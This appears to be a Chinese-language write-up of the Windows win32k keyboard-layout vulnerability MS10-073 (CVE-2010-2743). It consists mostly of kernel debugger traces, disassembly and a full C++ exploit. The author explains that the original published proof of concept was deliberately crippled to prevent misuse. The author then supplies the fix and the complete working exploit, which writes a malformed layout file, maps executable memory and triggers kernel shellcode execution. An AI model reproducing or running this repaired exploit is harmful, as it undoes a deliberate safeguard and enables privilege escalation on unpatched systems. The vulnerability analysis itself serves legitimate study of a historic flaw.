第一次载入poc crash在这
eax=00000000 ebx=00000000 ecx=0000006b edx=e16edaac esi=00000244 edi=00000000
eip=8053af99 esp=b264e948 ebp=b264e94c iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
nt!_wcsicmp+0x24:
8053af99 668b06 mov ax,word ptr [esi] ds:0023:00000244=????
ChildEBP RetAddr Args to Child
b264e94c bf89ebfb e16edaac 00000244 00000000 nt!_wcsicmp+0x24
b264e964 bf885192 0000004c 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x22
b264e9f0 bf884c80 81cf5038 0000004c 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1be
b264ed40 8054261c 0000004c 01ae0160 00000000 win32k!NtUserLoadKeyboardLayoutEx+0x158
b264ed40 7c92e4f4 0000004c 01ae0160 00000000 nt!KiFastCallEntry+0xfc
0012f9d8 0042c59c 0042c80d 0000004c 01ae0160 ntdll!KiFastSystemCallRet
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012ffd0 8054c6ed 0012ffc8 81d99020 ffffffff 0x42c59c
00130008 00000000 000000c4 00000000 00000020 nt!ExFreePoolWithTag+0x40d
分析了下crash在这是poc发布者故意这么做的,防止被恶意利用,将NtUserLoadKeyboardLayoutEx的puszKeyboardName参数置0导致的
更改poc,增加puszKeyboardName参数
InitializeUnicodeStr(&uKerbordname,L"A");
更改poc后重新载入,下NtUserLoadKeyboardLayoutEx
.text:BF884C17 test ebx, ebx //ebx就是puszKeyboardName参数
.text:BF884C19 jz short loc_BF884C4E
.text:BF884C1B mov eax, _Win32UserProbeAddress
.text:BF884C20 cmp ebx, eax //地址要小于_Win32UserProbeAddress
.text:BF884C22 jnb short loc_BF884C26
.text:BF884C24 mov eax, ebx
.text:BF884C26
.text:BF884C26 loc_BF884C26: ; CODE XREF: NtUserLoadKeyboardLayoutEx(x,x,x,x,x,x,x)+D0j
.text:BF884C26 mov ecx, 0B1h
.text:BF884C2B mov esi, eax
.text:BF884C2D lea edi, [ebp+var_2F4]
.text:BF884C33 rep movsd
.text:BF884C35 cmp [ebp+var_2F4], 8 //因为puszKeyboardName是unicode_string参数,这里判断unicode_string的max_length必须等于0
unciode_string.length必须小于8
.text:BF884C3C jnb loc_BF884B35
重新构造poc
InitializeUnicodeStr(&uKerbordname,L"A");
uKerbordname.MaximumLength=0;
在载入后就可以顺利到达SetGlobalKeyboardTableInfo函数
这个函数会设置gpKbdNlsTbl 变量,这个变量会在xxxKENLSProcs函数中使用,若不设置,就无法触发漏洞
1: kd> kb
ChildEBP RetAddr Args to Child
f87d9944 bf8b238a e1eec3c8 e1eec3c8 e1014128 win32k!SetGlobalKeyboardTableInfo
f87d9958 bf898e3d e1014128 e1eec3c8 e1014128 win32k!ChangeForegroundKeyboardTable+0x11c
f87d9978 bf884f02 e1eec3c8 e21f6978 f87d9d10 win32k!xxxSetPKLinThreads+0x37
f87d99f0 bf884c80 81bd5c28 f87d9cd0 08040804 win32k!xxxLoadKeyboardLayoutEx+0x395
f87d9d40 8054261c 000007cc 01ae0160 0012ff4c win32k!NtUserLoadKeyboardLayoutEx+0x158
f87d9d40 7c92e4f4 000007cc 01ae0160 0012ff4c nt!KiFastCallEntry+0xfc
......
ChildEBP RetAddr Args to Child
f87d9c88 bf84880e f87d9cc8 00000000 00000000 win32k!xxxKENLSProcs ----->vuln
f87d9ca4 bf8c356c f87d9c00 00000000 00000001 win32k!xxxProcessKeyEvent+0x1f9
f87d9ce4 bf8c342c 00000000 00000000 00000000 win32k!xxxInternalKeyEventDirect+0x158
f87d9d0c bf8c32aa 00000001 e17ad798 f87d9d64 win32k!xxxSendInput+0xa2
f87d9d50 8054261c 00000001 0012ff10 0000001c win32k!NtUserSendInput+0xcd
1: kd> p
win32k!xxxKENLSProcs+0x52:
bf847342 0fb6887dffffff movzx ecx,byte ptr [eax-83h]
1: kd> db eax-83
e20cdf7b 05 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ //POC中的
e20cdf8b 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
e20cdf9b 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
e20cdfab 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
e20cdfbb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
e20cdfcb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
e20cdfdb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
e20cdfeb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> p
win32k!xxxKENLSProcs+0x59:
bf847349 57 push edi
1: kd> p
win32k!xxxKENLSProcs+0x5a:
bf84734a 057cffffff add eax,0FFFFFF7Ch
1: kd> p
win32k!xxxKENLSProcs+0x5f:
bf84734f 50 push eax
1: kd> p
win32k!xxxKENLSProcs+0x60:
bf847350 ff148d38af99bf call dword ptr win32k!aNLSVKFProc (bf99af38)[ecx*4] //ecx is tainted
1: kd> r
eax=e20cdf7a ebx=00008000 ecx=00000005 edx=00000000 esi=e20cdf7a edi=f87d9cc8
eip=bf847350 esp=f87d9c74 ebp=f87d9c88 iopl=0 nv up ei ng nz ac po cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000293
win32k!xxxKENLSProcs+0x60:
bf847350 ff148d38af99bf call dword ptr win32k!aNLSVKFProc (bf99af38)[ecx*4] ds:0023:bf99af4c=60636261
1: kd> db 60636261
60636261 90 90 90 90 c2 0c 00 90-90 90 90 90 90 90 90 90 ................
60636271 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
60636281 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
60636291 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
606362a1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
606362b1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
606362c1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
606362d1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
1: kd> dd bf99af38 //aNLSVKFProc
bf99af38 bf9321b7 bf9325f9 bf93263f ff696867
bf99af48 ff666564 60636261 0000006e 002c006a
bf99af58 00000000 01030091 01130090 00000000
bf99af68 01130090 00030091 00000000 01030013
bf99af78 01030091 00000000 02110110 00000412
第6个地址可以在r3下通过VirtualAlloc来进行分配可读可写可执行的内存到这个地方,这个地方填充shellcode
便可以执行任意代码,执行完毕后,通过ret 0c 返回到内核空间 。
完整poc:
// ms10-73.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#define MAGIC_OFFSET 0x6261
#define InitializeUnicodeStr(p,s) { \
(p)->Length= wcslen(s)*2; \
(p)->MaximumLength = wcslen(s)*2+2; \
(p)->Buffer = s; \
}
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
IN HANDLE Handle,
IN DWORD offTable,
IN PUNICODE_STRING puszKeyboardName,
IN HKL hKL,
IN PUNICODE_STRING puszKLID,
IN DWORD dwKLID,
IN UINT Flags
)
{
__asm
{
mov eax, 000011c6h
mov edx, 7ffe0300h
call dword ptr [edx]
retn 1Ch
}
}
unsigned char shellcode[]="\x90\x90\x90\x90\xC2\x0C\x00\x90\x90";
unsigned char fakeDll[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash??
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";
int g_cr0;
int _tmain(int argc, _TCHAR* argv[])
{
UNICODE_STRING uStr;
UNICODE_STRING uKerbordname;
KEYBDINPUT kb={0};
INPUT vInput={0};
HANDLE hFile;
DWORD dwFuckS0ny;
HKL hKbd;
WCHAR lpPath[MAX_PATH]={0};
WCHAR lpLayoutFile[MAX_PATH]={0};
LPVOID lpShellPtr;
printf("\n\nMS10-073/CVE-2010-2743 Exploit\n");
printf("Ruben Santamarta - www.reversemode.com\n\n");
LoadLibraryA("user32.dll");
InitializeUnicodeStr(&uStr,L"pwn3d.dll");
//fix by instruder
InitializeUnicodeStr(&uKerbordname,L"A");
uKerbordname.MaximumLength=0;
GetTempPathW( MAX_PATH, lpPath );
wsprintf( lpLayoutFile, L"%lSp0wns.boom111", lpPath);
hFile = CreateFileW(lpLayoutFile,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
CREATE_ALWAYS,
0,0);
if( hFile == INVALID_HANDLE_VALUE )
{
printf(" \n[!!] Error\n");
exit(0);
}
WriteFile( hFile,
fakeDll,
sizeof(fakeDll)-1,
&dwFuckS0ny,
NULL);
printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
CloseHandle(hFile);
hFile = CreateFileW (lpLayoutFile,
GENERIC_READ,
FILE_SHARE_READ,
0,
OPEN_EXISTING,
0,0);
if( hFile == INVALID_HANDLE_VALUE )
{
printf(" \n[!!] Error\n");
exit(0);
}
hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );//
/*HKL NTAPI NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle,
IN DWORD offTable,
IN PUNICODE_STRING puszKeyboardName,
IN HKL hKL,
IN PUNICODE_STRING puszKLID,
IN DWORD dwKLID,
IN UINT Flags
) */
lpShellPtr = VirtualAlloc( (LPVOID)0x60630000,
0xF000,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
printf("\n[+] Allocating memory...");
if( !lpShellPtr )
{
printf("[!!] Error %x\n",GetLastError());
exit(0);
}else{
printf("[ OK ]\n");
}
memset( lpShellPtr, 0x90, 0xF000);
memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),
( const void* )shellcode,
sizeof( shellcode ) - 1 );
kb.wVk = 0x0;
vInput.type = INPUT_KEYBOARD;
vInput.ki = kb;
printf("\n[+] Triggering shellcode...");
SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );
printf("\n[+] Done\n");
int startshellcode,endshellcode;
WinExec("CMD",0);
Sleep(1000222);
return 0;
}//blackbap.org
资料 http://bbs.blackbap.org/thread-1930-1-1.html http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1 http://www.vupen.com/blog/20101018.Stuxnet_Win32k_Windows_Kernel_0Day_Exploit_CVE-2010-2743.php